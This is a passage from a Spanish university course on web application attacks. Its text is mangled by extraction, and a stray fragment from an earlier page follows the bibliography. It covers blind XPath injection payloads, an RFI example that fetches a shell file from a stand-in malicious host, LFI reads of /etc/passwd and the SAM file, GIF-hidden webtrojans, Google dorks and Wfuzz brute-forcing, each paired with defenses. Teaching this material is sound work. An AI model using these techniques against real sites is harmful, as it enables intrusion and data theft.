el nombre del nodo siguiendo el mismo mecanismo teacutecnicas de ldquobooleaniza-
cioacutenrdquo e imaginacioacuten
or childnode()[position()=1 and starts-with(name()a)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()b)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()c)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()u)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()ua)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()ub)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()us)] and =
or childnode()[position()=1 and starts-with(name()usu)] and =
Seriacutea el mismo proceso para cada letra del nombre utilizando un charset de
caracteres y extraer cada caraacutecter desde la posicioacuten 1 hasta la posicioacuten maacutexi-
ma que seriacutea la longitud del nombre extraiacuteda inicialmente
Los pasos para extraer los atributos y elementos seriacutean exactamente los mis-
mos pero variando la consulta XPath con las siguientes plantillas
1) Para extraer informacioacuten referente a los nodos
bull Longitud del nombre
[PATH]childnode()[position()=[NUMNODO] and
string-length(name())gt[NUMERO]]
bull Nombre del nodo
[PATH]childnode()[position()=[NUMNODO] and
starts-with(name()[VALORES])]
bull Nuacutemero de subnodos
count([PATH]childnode())gt[NUMERO]
2) Para extraer la informacioacuten de los atributos
bull Nuacutemero de atributos de un nodo
count([PATH]childnode()[[NUMNODO]])gt[NUMERO]
CC-BY-NC-ND bull PID_00191662 52 Ataques a aplicaciones web
bull Longitud del nombre del atributo
[PATH]childnode()[position()=[NUMNODO]] and
string-length([PATH]childnode()
[[NUMNODO]][position()=[NUMATT] and
string-length(name())gt[NUMERO]])gt0
bull Longitud del valor del atributo
[PATH]childnode()[position()=[NUMNODO]] and
string-length([PATH]childnode()
[[NUMNODO]][position()=[NUMATT]])gt[NUMERO]
bull Nombre del atributo
[PATH]childnode()[position()=[NUMNODO]] and
[PATH]childnode()[[NUMNODO]][position()=[NUMATT] and
starts-with(name()[VALORES])
bull Valor del atributo
[PATH]childnode()[position()=[NUMNODO]] and
starts-with([PATH]childnode()
[[NUMNODO]][position()=[NUMATT]] [VALORES])
3) Para extraer el contenido de un nodo los elementos
bull Longitud del elemento
string-length([PATH]childtext())gt[NUMERO]
bull Valor del elemento
starts-with([PATH]childtext()[VALORES])
Esta teacutecnica puede resultar muy tediosa y lenta si se realiza manualmente pero
para ello ya existen herramientas que hacen este proceso de forma automaacuteti-
ca y ademaacutes utilizan teacutecnicas de optimizacioacuten como reduccioacuten del charset
para encontrar los datos realizando un reducido nuacutemero de consultas
Implementar una reduccioacuten de charset es algo simple basta con hacer una
query por cada caraacutecter y comprobar si ese caraacutecter existe en alguacuten nodo ele-
mento o atributo del aacuterbol En caso negativo se elimina ese caraacutecter del char-
set Esto puede hacerse con la siguientes query
[contains(name() a)] or [contains(name() a)]
or attribute[contains(a)] or contains( a)
Si esta nos devuelve un resultado positivo se mantiene la letra lsquoarsquo en el charset
de letras a probar sin embargo si nos devuelve la paacutegina que hemos asociado
a una peticioacuten falsa podremos eliminar el caraacutecter a del resto de pruebas a
realizar pues ya sabremos que nunca va a aparecer
CC-BY-NC-ND bull PID_00191662 53 Ataques a aplicaciones web
Otra teacutecnica interesante para la optimizacioacuten del Blind XPath Injection es el
de ldquolearn wordsrdquo de modo que cuando se extrae el nombre de un nodo ele-
mento o atributo se guarda en una lista Cuando se encuentre otro nodoele-
mentoatributo de una longitud de nombre igual a la de alguacuten elemento ya
extraiacutedo hacer comprobaciones con los nodos ya conocidos pues es probable
que si tienen la misma longitud tengan el mismo nombre
En la siguiente imagen se muestra una herramienta en funcionamiento una
vez descargado el aacuterbol XML de una aplicacioacuten web vulnerable
Figura 41 Aacuterbol XML extraiacutedo mediante una aplicacioacutenautomatizada
232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection
La proteccioacuten contra este tipo de teacutecnicas es muy simple y debe correr de
la mano del programador de la aplicacioacuten Uacutenicamente hay que realizar un
filtrado de las entradas teniendo en cuenta dos factores
bull Si la entrada es numeacuterica antes de formar la query comprobar que el valor
introducido en la entrada es un valor numeacuterico y no una cadena de texto
bull Si la entrada es de texto remplazar los caracteres peligrosos como la comi-
lla simple y doble por rsquo y rdquo
CC-BY-NC-ND bull PID_00191662 54 Ataques a aplicaciones web
3 Ataques de Path Transversal
Mediante las teacutecnicas de Path Transversal se va a lograr acceder a in-
formacioacuten referente al servidor desde simplemente el directorio donde
se estaacute ejecutando la aplicacioacuten web hasta lograr descargar ficheros del
servidor Cada uno de estos fallos recibe un nombre y lo estudiaremos
por separado
La informacioacuten obtenida puede ser usada por un atacante para lograr acceder
a otros recursos de la paacutegina mediante alguacuten tipo de ingenieriacutea social o dedu-
ciendo posibles nombres de ficheros yo carpetas para posteriormente acceder
a ellos
Vamos a analizar desde los menos peligrosos hasta los maacutes criacuteticos viendo
coacutemo unos se apoyan en los anteriores y coacutemo en cierta medida dependen
unos de los otros y realmente estaacuten muy relacionados entre siacute
31 Path Disclosure
Este problema no es especiacutefico de una tecnologiacutea sino que puede darse en
cualquier lenguaje de programacioacuten y en cualquier tecnologiacutea de servidor Es-
ta vulnerabilidad no es criacutetica por siacute misma pero puede facilitar las cosas a
un atacante que intente cualquiera de los fallos que se comentaraacuten posterior-
mente
El concepto es lograr conocer la ruta en la que se estaacute ejecutando la apli-
cacioacuten Para ello nos valdremos de mensajes de error (provocados o no)
que contengan rutas a ficheros Esto lo lograremos introduciendo carac-
teres erroacuteneos en los paraacutemetros o accediendo a rutas que no existan
Figura 42 Fallo de Path Disclosure
CC-BY-NC-ND bull PID_00191662 55 Ataques a aplicaciones web
Este mensaje de error puede darse al intentar reproducir cualquiera de los de-
maacutes fallos explicados en esta seccioacuten Normalmente los lenguajes de progra-
macioacuten del lado del servidor si no tienen los errores controlados mostraraacuten
un mensaje de error predefinido que usualmente contiene la ruta del fichero
afectado
Evitar este tipo de errores es tan sencillo como generar nuestras propias paacutegi-
nas de error Tambieacuten controlar cualquier tipo de excepcioacuten en el coacutedigo es
buena praacutectica En definitiva no dejar que los mensajes por defecto se mues-
tren nunca al usuario
CC-BY-NC-ND bull PID_00191662 56 Ataques a aplicaciones web
4 Ataques de inyeccioacuten de ficheros
41 Remote file inclusion
Remote file inclusion es la vulnerabilidad consistente en ejecutar coacutedigo
remoto dentro de la aplicacioacuten vulnerable Se basa en la idea de que al
igual que es posible cargar un fichero local para su inclusioacuten dentro de la
paacutegina podriacuteamos cargar uno remoto que contuviese coacutedigo malicioso
Esto es posible en lenguajes interpretados donde podemos incluir un fichero
con coacutedigo y antildeadirlo a la ejecucioacuten En el siguiente ejemplo se toma como
base una paacutegina programada en PHP
httpwwwmipaginacommostrarphppag=indexphp
PHP hace uso de funciones que permiten la inclusioacuten de ficheros externos
para generar paacuteginas maacutes complejas y maacutes completas En el hipoteacutetico ejemplo
anterior el fichero mostrarphp hariacutea uso de alguna de estas funciones de PHP
que permiten la inclusioacuten dinaacutemica de ficheros
bull include($pag)
bull require($pag)
bull include_once($pag)
bull require_once($pag)
Estas funciones reciben un paraacutemetro (llamado $pag en este ejemplo) que in-
dica la ruta del fichero que ha de incluirse Si la variable pag no estaacute suficien-
temente controlada podremos hacer una llamada a un fichero externo que se
descargaraacute e interpretaraacute en el lado del servidor
httpwwwmipaginacommostrarphppag=httpmalocomshelltxt
En la llamada anterior el servidor mipaginacom solicitaraacute a malocom el
fichero shelltxt que incluiraacute coacutedigo PHP vaacutelido que se ejecutaraacute en
mipaginacom
Este fallo se debe a una mala configuracioacuten del servidor PHP el cual permite la
inclusioacuten de ficheros externos La configuracioacuten correcta deberiacutea ser la prohi-
bicioacuten total de realizar estas acciones
CC-BY-NC-ND bull PID_00191662 57 Ataques a aplicaciones web
Para establecer una configuracioacuten adecuada en el inteacuterprete de PHP debemos
buscar el fichero phpini de configuracioacuten (en Linux suele estar en etc
php5phpini) y establecer la clave de configuracioacuten allow_url_include
a false
Este fallo de seguridad puede dar lugar a que un atacante logre ejecutar cual-
quier coacutedigo deseado en el servidor web con los riesgos que esto conlleva
Existen ficheros ya pregenerados para ser incluidos dentro del flujo de ejecu-
cioacuten de la aplicacioacuten web Van desde un simple inteacuterprete de comandos a una
completa shell equipada con su propio explorador de ficheros opciones pa-
ra subir o descargar ficheros e incluso la posibilidad de ejecutar programas en
el equipo remoto
Figura 43 Shell remota ejecutaacutendose
Existe una gran variedad de shells remotas que podemos encontrar en Internet
Por ejemplo la shell mostrada en la figura anterior se llama c99 aunque existen
otras como la r57 o c100 De todas maneras siempre podemos programarnos
una propia con la funcionalidad que necesitemos
42 Local file inclusion
Esta vulnerabilidad al contrario que la anterior afecta tanto a lenguajes com-
pilados como interpretados Se basa en la posibilidad de incluir dentro de la
paacutegina un fichero local del usuario con el que se ejecuta el servidor de aplica-
ciones web que tenga permisos de lectura
Esta vulnerabilidad puede ocurrir en cualquier lugar de un sitio web pero suele
ser maacutes comuacuten en dos sitios bien diferenciados
bull Paacuteginas de plantillas carga un fichero desde otro y le da formato
CC-BY-NC-ND bull PID_00191662 58 Ataques a aplicaciones web
bull Paacuteginas de descargas recibe un paraacutemetro con el nombre del fichero a
descargar y lo enviacutea al cliente
El concepto tras ambos fallos es el mismo y las implementaciones defectuo-
sas a veces tambieacuten Para lograr explotar esta vulnerabilidad de una manera
satisfactoria deberiacuteamos poder hacer llamadas a ficheros fuera de la ruta ori-
ginal Esto lo hariacuteamos intentando incluir ficheros de un directorio superior
usando los caracteres en sistemas Linux o en sistemas Windows maacutes
el nombre de un fichero del que conozcamos su existencia Por ejemplo sos-
pechamos que la siguiente URL tiene un fallo de local file inclusion
httpwwwvictimacomnoticiasdetallephpid=4amptipo=deportesphp
Entonces para corroborarlo y determinar que efectivamente nos encontramos
frente a un fallo de remote file inclusion podriacuteamos modificar la URL hasta que
quedase como sigue
httpwwwvictimacomnoticiasdetallephpid=4amptipo=indexphp
Con esta simple comprobacioacuten podriacuteamos detectar si una paacutegina va a ser vul-
nerable a local file inclusion
Esta teacutecnica se puede ampliar (si los permisos lo permiten y no se aplica el
concepto del miacutenimo privilegio) a ficheros fuera del directorio de la aplicacioacuten
web y empezar a incluir ficheros del propio sistema operativo Esto nos per-
mitiraacute obtener maacutes informacioacuten sobre el equipo
Para localizar sin equivocaciones los ficheros podemos usar un fallo de Path
Disclosure para que nos deacute informacioacuten sobre la ruta local donde se ubican
estos De todas maneras y si no sabemos la ruta relativa de un fichero frente
a la paacutegina vulnerable podemos usar las rutas directas4
Existen muchos ficheros interesantes a los que acceder mediante esta teacutecnica
dependiendo de los objetivos del atacante Ademaacutes estos variaraacuten entre distin-
tos sistemas operativos A continuacioacuten se detallan algunos de estos ficheros
como muestra de la informacioacuten que podemos llegar a obtener
bull etcpasswd Fichero de usuarios en sistemas Linux Contiene un com-
pendio de los usuarios existentes asiacute como datos relativos a ellos como
nombre o directorio del home
bull etchosts Permite guardar informacioacuten sobre equipos proacuteximos Suele
contener una lista de nombre e IPS internos que nos permiten obtener una
mejor idea de la estructura interna de una organizacioacuten
bull CWindowsrepairSAM La SAM es el fichero que contiene los nombres
de usuarios y claves de los usuarios de un sistema Windows En la carpeta
(4)Una ruta directa es la que inclu-ye todo el nombre del fichero
CC-BY-NC-ND bull PID_00191662 59 Ataques a aplicaciones web
Repair se almacena una copia del fichero SAM para poder recuperarla en
caso de error del sistema
bull El propio fichero vulnerable Es muy instructivo descargar el propio fichero
vulnerable mediante el fallo de local file inclusion para poder aprender de
los problemas de otros
Para evitar que esta teacutecnica tenga mayor impacto es importante pensar en
montar el servidor con el miacutenimo privilegio posible limitando la posibilidad
de acceso a ficheros del servidor dentro de su propia carpeta con lo que lo-
gramos evitar el acceso a ficheros del sistema aunque no a ficheros propios
de la aplicacioacuten
Figura 44 Ejemplo de local file inclusion
Si queremos hacer una proteccioacuten mediante programacioacuten en lugar de contro-
larlo mediante permisos en el servidor hay que tener en cuenta que las rutas
a ficheros se pueden escribir de dos maneras
bull Directa Escribimos la ruta donde se encuentra el fichero directamente
Deberiacuteamos por tanto eliminar los caracteres o de los datos enviados
por los usuarios
bull Relativa Usamos la canonizacioacuten para subir hacia directorios superiores
mediante el uso de o Lo podriacuteamos evitar excluyendo ademaacutes
de lo anterior los puntos
43 Webtrojans
Una de las funcionalidades maacutes extendidas en paacuteginas web medianamente
complejas es la posibilidad de subir ficheros al servidor imaacutegenes documentos
en PDF ficheros de viacutedeo etc
Cuando un usuario nos enviacutea un fichero debemos comprobar que lo que nos
enviacutea es un fichero legiacutetimo es decir si estamos esperando la llegada de un
fichero con una imagen es necesario comprobar que lo que recibimos es real-
mente una imagen y no otro tipo de fichero
CC-BY-NC-ND bull PID_00191662 60 Ataques a aplicaciones web
Si no comprobamos los ficheros que se nos enviacutean podriacuteamos estar copiando
en nuestro servidor un fichero malintencionado conocido como webtrojan5
Existen multitud de shells remotas en distintos lenguajes a disposicioacuten de cual-
quiera Estas shells suelen ser detectadas por los antivirus para evitar que pasen
desapercibidas a administradores despistados pero pueden ser ldquocamufladasrdquo
dentro de otros ficheros
El ejemplo maacutes claro de coacutemo camuflar un fichero de estos es incluirlo tras
una cabecera de una imagen donde algunos servidores son capaces de ejecutar
el coacutedigo
Figura 45 Webtrojan oculto dentro de un fichero GIF
En la imagen anterior se puede ver coacutemo un fichero gif abierto con un visor
de textos deja a la vista coacutedigo PHP que va a generar una puerta trasera para
subir cualquier tipo de fichero
Para evitar este tipo de problemas debemos comprobar siempre no solo la ex-
tensioacuten sino tambieacuten la cabecera del fichero para corroborar que es del tipo
que nosotros hemos permitido Una buena praacutectica es la de establecer noso-
tros mediante programacioacuten la extensioacuten de los ficheros que se nos suben
evitando que alguien pueda subir un fichero y establecerlo con extensiones
como ASP o PHP
(5)Es una shell remota que pode-mos subir a un servidor aprove-chando un fallo de seguridad
CC-BY-NC-ND bull PID_00191662 61 Ataques a aplicaciones web
5 Google Hacking
Google indexa hoy en diacutea millones de paacuteginas web y no entiende de zonas
privadas ni restringidas Todo aquello que esteacute enlazado a alguacuten sitio y sea
accesible estaraacute en Google Si conocemos coacutemo funciona Google (y en general
los buscadores) podremos acceder a mucha informacioacuten que ni siquiera sus
propietarios saben que se encuentra ahiacute
Es por esta razoacuten por lo que saber coacutemo hacer preguntas a Google sobre la
informacioacuten que nos interesa es muy importante permitieacutendonos recopilar
mucha informacioacuten sobre un sitio web sin necesidad de realizar en principio
ninguna peticioacuten al servidor en cuestioacuten
Google ofrece varios filtros que nos permitiraacuten afinar la buacutesqueda que quere-
mos realizar y que combinados unos con otros alcanzan una potencia mucho
mayor
bull +ltpalabragt Incluir un + (maacutes) delante de una palabra requiere la presencia
obligatoria de esta palabra en las paacuteginas devueltas
bull -ltpalabragt Con un siacutembolo ndash (menos) delante de una palabra excluye
todos los resultados que contengan esa palabra
bull ldquoltpalabrasgtrdquo Al colocar una frase entre comillas dobles buscamos cadenas
completas de texto dentro de los resultados
bull Se puede usar el caraacutecter con el significado de que puede aparecer cual-
quier palabra dentro de una frase entrecomillada
bull intitlelttextogt Permite buscar en el tiacutetulo de la paacutegina
bull inurllttextogt Realiza las buacutesquedas en la URL de la paacutegina
bull intextlttextogt Busca el texto en el cuerpo de las paacuteginas devueltas
bull filetypeltextensioacutengt Restringe la buacutesqueda a la extensioacuten especifi-
cada
bull domainltdominiogt Limita los resultados al dominio especificado Se
puede usar solo el identificador del paiacutes (como es)
Con estos filtros y combinaacutendolos entre siacute podemos lograr encontrar cualquier
cosa que esteacute en Internet
CC-BY-NC-ND bull PID_00191662 62 Ataques a aplicaciones web
Figura 46 Resultados de la buacutesqueda +usersmdb intitlerdquoIndex ofrdquo
Google Hacking Database es una base de datos de buacutesquedas de corroborada
eficacia que permite obtener datos interesantes referentes a ficheros de confi-
guracioacuten zonas privadas dispositivos conectados a la red software vulnera-
ble etc
Usando este tipo de buacutesquedas se puede llegar a conocer muchiacutesimos datos
de un servidor Uno de los ejemplos maacutes claros es la posibilidad de localizar
subdominios de un dominio dado mediante buacutesquedas recursivas Vamos a
realizar un ejemplo para que quede demostrada la utilidad de estas teacutecnicas
Para empezar se selecciona un dominio en este caso se ha elegido el dominio
uoces y se ejecuta la siguiente buacutesqueda
siteuocedu
Esta buacutesqueda devuelve 587000 resultados Evidentemente todas estas paacutegi-
nas no pertenecen solo a un dominio sino que habraacute distintos sitios implica-
dos
El proceso es simple Consiste en ver cuaacutel es el subdominio del primer resul-
tado devuelto y antildeadirlo con un siacutembolo ndash (menos) delante Por ejemplo
-www siteuoces
Excluyendo el subdominio www de las buacutesquedas obtendremos un nuacutemero de
paacuteginas devueltas de 631000 Siguiendo este proceso llegaremos hasta generar
una buacutesqueda que no nos devuelva ninguacuten resultado una aproximacioacuten seriacutea
la siguiente
-acc -rusc -elcrps -blogs -personal -eprints -cataleg -osrt -clab -unescochair -elearning
-multimedia -edulab -net -itol -gres -red -lletra -laboralcentrodearte -lpg -elconcept
-biblioteca -comein -foto -guatemala -einflinux1 -cicr -campus -icesd -laos -xequia
CC-BY-NC-ND bull PID_00191662 63 Ataques a aplicaciones web
-dpcs -cimanet -comoras -marroc -colleague -colloque -xina -macedonia -oliba -cv
-www -biblio siteuoces
Cabe recordar que hasta este momento y mediante esta teacutecnica en ninguacuten
momento se ha realizado ninguna peticioacuten directa hacia el dominio uoces
por lo que seriacutea imposible conocer quieacuten estaacute intentando averiguar informa-
cioacuten sobre nuestro dominio
Otras buacutesquedas que podemos encontrar aquiacute son las que nos pueden devolver
todos los ficheros ofimaacuteticos del servidor tales como ficheros doc xls pdf
etc
Estos ficheros en sus distintas versiones incluyen mayor o menor cantidad
de metadatos que tienen informacioacuten acerca de nombres de usuarios o rutas
locales del ordenador donde se generoacute el fichero Con toda esta informacioacuten
un atacante podriacutea empezar a utilizar un programa de fuerza bruta para inten-
tar sacar las contrasentildeas
CC-BY-NC-ND bull PID_00191662 64 Ataques a aplicaciones web
6 Seguridad por ocultacioacuten
Es habitual esconder una llave ldquode emergenciardquo en alguacuten lugar cercano a la
puerta de una casa para que dado el caso podamos entrar si hemos perdido
nuestra llave Evidentemente esto no es nada seguro pues cualquier persona
que la encuentre podraacute acceder al igual que nosotros a nuestra casa
Este siacutemil con la vida real sirve para enlazar la idea con una aplicacioacuten web
Es comuacuten entre los programadores web usar directorios especiacuteficos para acti-
vidades especiacuteficas como la administracioacuten las zonas de pruebas o la subida
de ficheros temporales Algunas de las maacutes comunes son
bull admin
bull logs
bull uploads
bull phpmyadmin
bull tmp
Estos directorios se pueden descubrir mediante pruebas manuales o haciendo
uso de alguacuten programa tipo fuzzer6 que realice las peticiones por nosotros
En este caso lo vamos a usar para automatizar la buacutesqueda de directorios con
nombres conocidos
Wfuzz es un programa de este tipo realiza conexiones a un servidor web sus-
tituyendo en la zona de la URL que nosotros especifiquemos una cadena de
texto que va cogiendo liacutenea tras liacutenea de un fichero de texto
Se puede descargar gratuitamente y lo vamos a usar para realizar una demos-
tracioacuten de los datos que se pueden llegar a obtener mediante esta herramienta
Vamos a aprender a usarla pues la sintaxis es simple
wfuzzexe -z file -f wordlistscommontxt --hc 404 httpwwwvictimacomFUZZ
La liacutenea anterior representa una ejecucioacuten tiacutepica del programa Wfuzz y nos va
a servir como ejemplo para determinar cuaacuteles son los paraacutemetros maacutes uacutetiles a la
hora de realizar un anaacutelisis mediante esta herramienta Con estos paraacutemetros
estaremos indicaacutendole al programa que
bull -z Use el payload de tipo fichero Esto es los nombres de las carpetas ocul-
tas que vamos a buscar se van a coger desde un fichero de texto
(6)Un programa fuzzer es un pro-grama que automatiza tareas repe-titivas
CC-BY-NC-ND bull PID_00191662 65 Ataques a aplicaciones web
bull -f El nombre del fichero que se va a usar En este caso hemos seleccionado
el fichero commontxt que acompantildea al programa y que contiene una lista
de los nombres maacutes comunes de directorios ocultos
bull --hc 404 El paraacutemetro hc nos permite eliminar resultados de la salida del
programa en base al coacutedigo HTTP que se devuelva En el ejemplo se ha
usado el coacutedigo 404 por ser el coacutedigo asociado a los errores en el protocolo
HTTP Tambieacuten se pueden establecer filtros por nuacutemero de liacuteneas (--hl) y
palabras (--hw) que contiene una paacutegina por si nos encontramos con un
servidor que devuelva siempre una paacutegina con coacutedigo 200
bull httpwwwvictimacomFUZZ Allaacute donde coloquemos la palabra fuzz se-
raacute donde el programa incluya en cada peticioacuten la palabra siguiente del fi-
chero especificado
Figura 47 Resultado de la ejecucioacuten del programa Wfuzz
En la imagen anterior apreciamos coacutemo el programa ha detectado una serie
de directorios en el servidor analizado De estos directorios los de ldquopasswordrdquo
y ldquotestrdquo pueden resultar interesantes para comenzar a realizar una revisioacuten de
seguridad
Otra manera de encontrar directorios y ficheros ocultos en una aplicacioacuten es la
buacutesqueda del fichero robotstxt Este fichero es usado por los administradores
de sitios web para evitar que Google y otros buscadores indexen zonas que
no desean
CC-BY-NC-ND bull PID_00191662 66 Ataques a aplicaciones web
Figura 48 Ejemplo de fichero robotstxt
El problema es que mucha gente no entiende completamente el concepto de
este fichero antildeadiendo a eacutel todas las rutas que no quieren que se indexen
aunque no esteacuten enlazados desde ninguacuten sitio (recordemos que los buscado-
res solo indexan si se realiza un enlace desde alguacuten sitio) Por ello podemos
encontrarnos con ficheros robotstxt que contienen referencias a zonas admi-
nistrativas de pruebas privadas
Otro fichero que puede darnos mucha informacioacuten y que al contrario de
los anteriores es informacioacuten puacuteblica es el fichero sitemapxml El fichero
sitemapxml es un fichero propuesto por Google como una manera de indi-
carle al buscador cuaacuteles son las paacuteginas maacutes interesantes de un sitio web y
cuaacuteles son las menos actualizadas Esta informacioacuten parece obvia y podemos
descubrirla nosotros mismos navegando por la paacutegina Sin embargo es de vital
importancia pues nos ahorra tiempo en navegar por el sitio y con una sola
peticioacuten obtenemos un esquema de la estructura del mismo A continuacioacuten
se muestra un ejemplo de un fichero sitemapxml
ltxml version=10 encoding=UTF-8gt
lturlset xmlns=httpwwwsitemapsorgschemassitemap09gt
lturlgt
ltlocgthttpwwwacomltlocgt
ltlastmodgt2005-01-01ltlastmodgt
ltchangefreqgtmonthlyltchangefreqgt
ltprioritygt08ltprioritygt
lturlgt
lturlgt
ltlocgthttpwwwacomnewsltlocgt
ltchangefreqgtweeklyltchangefreqgt
lturlgt
lturlgt
ltlocgthttpwwwacomarchiveltlocgt
ltlastmodgt2004-12-23ltlastmodgt
changefreqgtweeklyltchangefreqgt
CC-BY-NC-ND bull PID_00191662 67 Ataques a aplicaciones web
lturlgt
lturlgt ltlocgthttpwwwacomfaqltlocgt
ltlastmodgt2004-12-23T180015+0000ltlastmodgt
ltprioritygt03ltprioritygt
lturlgt
lturlgt ltlocgthttpwwwacomaboutltlocgt
ltlastmodgt2004-11-23ltlastmodgt
lturlgt
lturlsetgt
61 Descompiladores de applets web
611 Flash
Flash se ha puesto cada vez maacutes de moda como una manera de ofrecer una
interfaz atractiva al usuario final En la actualidad hay multitud de paacuteginas
que hacen un uso casi abusivo de esta tecnologiacutea Pero debemos tener en con-
sideracioacuten algo importante y es que Flash no es maacutes que la capa de presenta-
cioacuten sobre la capa de datos y nunca una uacutenica capa que se encarga de todo
aunque a veces ocurre
Es por ello por lo que estas paacuteginas en Flash si cargan datos dinaacutemicamente
han de llamar a paacuteginas que se los devuelvan en funcioacuten de los paraacutemetros
proporcionados Estos paraacutemetros podriacutean ser vulnerables a las inyecciones de
coacutedigo que se comentaron anteriormente Estas llamadas a ficheros externos
se pueden observar faacutecilmente usando un sniffer del protocolo HTTP
Un ejemplo claro de esto son las paacuteginas que usan un reproductor de audio
en Flash y en las que podemos descargar los ficheros mp3 sin necesidad de ver
el coacutedigo fuente del fichero Flash
CC-BY-NC-ND bull PID_00191662 68 Ataques a aplicaciones web
Figura 49 Captura del fichero mp3 reproducido desde unreproductor web
Tambieacuten es posible en ficheros Flash la descompilacioacuten de los ficheros dando
lugar a un pseudocoacutedigo legible que permitiriacutea a un atacante conocer coacutemo
actuacutea internamente el fichero Ademaacutes es posible convertir el coacutedigo a un en-
samblador de ActionScript7 que podemos modificar y volver a compilar daacuten-
donos la posibilidad por ejemplo de incluir coacutedigo Javascript dentro de un
fichero Flash
Existen muacuteltiples programas para realizar esta accioacuten y aquiacute vamos a mostrar
coacutemo realizar esto mediante el programa Flasm de descarga gratuita
La aplicacioacuten se ejecuta desde consola Recibe el paraacutemetro ndashd para descompi-
lar el fichero swf que recibe Al volcar el coacutedigo por pantalla necesitamos redi-
rigir hacia un fichero de texto la salida del programa En este ejemplo vamos
a realizar la accioacuten con un pequentildeo juego Flash
Figura 50 Ejecucioacuten del comando flasmexe
Este comando parsea el fichero swf y extrae el coacutedigo asociado a eacutel Logra
extraer el coacutedigo y convertirlo en un lenguaje parecido al ensamblador
(7)Es el lenguaje usado internamen-te para programar las aplicacio-nes Flash Tiene una sintaxis pare-cida a Javascript y es un lenguajeinterpretado lo cual significa quepodemos lograr extraer el coacutedigofuente original del fichero swf
CC-BY-NC-ND bull PID_00191662 69 Ataques a aplicaciones web
Figura 51 Volcado del coacutedigo del fichero swf
Conocer el coacutedigo fuente de un fichero swf nos puede ayudar a entender coacutemo
funciona la aplicacioacuten a buscar fallos de seguridad en el coacutedigo o a localizar las
URL a las que hace referencia para cargar informacioacuten dentro de la aplicacioacuten
Flash Una vez localizadas estas URL seriacutea cuestioacuten de probar sobre ellas los
fallos de seguridad comentados en capiacutetulos anteriores
612 Java
Al igual que con los ficheros Flash aunque con menos popularidad en la ac-
tualidad existen los llamados applets Java pequentildeas aplicaciones que se eje-
cutan dentro de nuestro navegador
Java se ejecuta sobre una maacutequina virtual se puede ejecutar el mismo coacutedigo
en cualquier ordenador que implemente la maacutequina virtual de Java Esto tiene
muchas ventajas a la hora de exportar nuestra aplicacioacuten Sin embargo esto
tambieacuten nos permite poder extraer el coacutedigo exactamente igual que lo haciacutea-
mos en Flash
Para realizar esta accioacuten existen programas que efectuacutean esta conversioacuten y nos
muestran el coacutedigo Java original En la captura siguiente el programa usado
es Java Decompiler un programa gratuito que nos permitiraacute realizar estas ac-
ciones
CC-BY-NC-ND bull PID_00191662 70 Ataques a aplicaciones web
Figura 52 Pantalla principal del Java Decompiler
613 NET
Microsoft ha sumado su plataforma NET a la web Existen las aplicaciones
ASPNET que se ejecutan del lado del servidor y que no vamos a poder auditar
maacutes allaacute de los paraacutemetros que reciba Sin embargo estaacute poco a poco expan-
dieacutendose una nueva tecnologiacutea llamada Silverlight Silverlight es un compila-
do NET que se carga desde el servidor mediante un plugin en nuestro navega-
dor Esto al igual que Flash y Java nos permite analizar el coacutedigo fuente de
la aplicacioacuten Silverlight
Figura 53 Aplicacioacuten de muestra de Silverlight
CC-BY-NC-ND bull PID_00191662 71 Ataques a aplicaciones web
En la captura anterior se puede observar una aplicacioacuten Silverlight muy simple
Nos va a solicitar usuario y contrasentildea para lograr entrar Esta aplicacioacuten estaacute
programada para que compruebe los datos introducidos con unos datos que
estaacuten escritos dentro de la aplicacioacuten Esto es un grave fallo de seguridad y
vamos a ver coacutemo analizar el fichero para sacar el usuario y la contrasentildea
vaacutelidos El detalle de coacutedigo Javascript seriacutea
Para descargar una aplicacioacuten Silverlight debemos localizar dentro del coacutedigo
HTML la seccioacuten de coacutedigo que realice la carga del fichero XAP Este fichero
contiene todo el coacutedigo de la aplicacioacuten Silverlight y seraacute lo que nuestro na-
vegador interprete
El fichero XAP contiene una serie de ficheros necesarios para la ejecucioacuten del
programa Estos ficheros son compilados de NET y pueden ser analizados me-
diante programas como NET Reflector Los ficheros contenidos en este fiche-
ro pueden ser extraiacutedos mediante el uso de cualquier programa descompresor
pues realmente es un fichero ZIP
Figura 54ndash Fichero xap descomprimido
Una vez descomprimido se nos muestran una serie de archivos Estos archivos
contienen informacioacuten referente a la interfaz usada por la aplicacioacuten pero
realmente los datos importantes se encuentran en el fichero Test001dll (en el
ejemplo actual) Este fichero puede ser descompilado mediante el programa
indicado anteriormente y acceder al coacutedigo fuente interno En este caso se
observan dos clases principales App y MainPage
CC-BY-NC-ND bull PID_00191662 72 Ataques a aplicaciones web
Figura 55 Detalle del programa descompilado
En la imagen anterior observamos coacutemo en la clase MainPage existe un meacuteto-
do btnOK_Click Este meacutetodo es el llamado cuando pulsamos sobre el botoacuten
de Entrar de la aplicacioacuten En el coacutedigo asociado vemos coacutemo se comprueba el
nombre de usuario con la cadena ldquotestrdquo y la clave con la cadena ldquomelonrdquo
Tanto Silverlight como los applets Java o las aplicaciones Flash son una mera
forma de poner un contenido de una manera maacutes vistosa para el usuario Sin
embargo a veces los desarrolladores web lo usan como un lenguaje de progra-
macioacuten web completamente vaacutelido algo que se ha demostrado muy inseguro
CC-BY-NC-ND bull PID_00191662 73 Ataques a aplicaciones web
Bibliografiacutea
Andreu A (2006) Professional Pen Testing for Web Applications Ed Wrox
Clarke J (2009) SQL Injection Attacks and defense E Syngress
Grossman J et al (2007) Xss Attacks Cross Site Scripting Exploits And Defense Ed Syngress
Scambray J Shema M and Sima C (2006) Hacking Expose Web Applications Ed Mc-Graw-HillOsborne Media
Stuttard D (2007) The Web Application Hackers Handbook Discovering and Exploiting Secu-rity Flaws Ed Wiley
CC-BY-NC-ND bull PID_00191662 10 Ataques a aplicaciones web
quemos Si el coacutedigo Javascript es ejecutado por un usuario sin derechos de
administracioacuten se podraacute realizar cualquier modificacioacuten asociada al perfil
especiacutefico del usuario en el sitio web
bull Otra posible accioacuten a efectuar haciendo uso de estas teacutecnicas es el phishing
Mediante Javascript como hemos visto podemos modificar el comporta-
miento y la apariencia de una paacutegina web Esto permite crear un formula-
rio de login falso o redirigir el submit de uno existente hacia un dominio
de nuestro control
bull Igualmente se puede ejecutar ataques de defacement1 apoyaacutendonos en teacutec-
nicas que explotan vulnerabilidades XSS
bull Por otra parte aunque menos habitual es posible realizar un ataquedede-
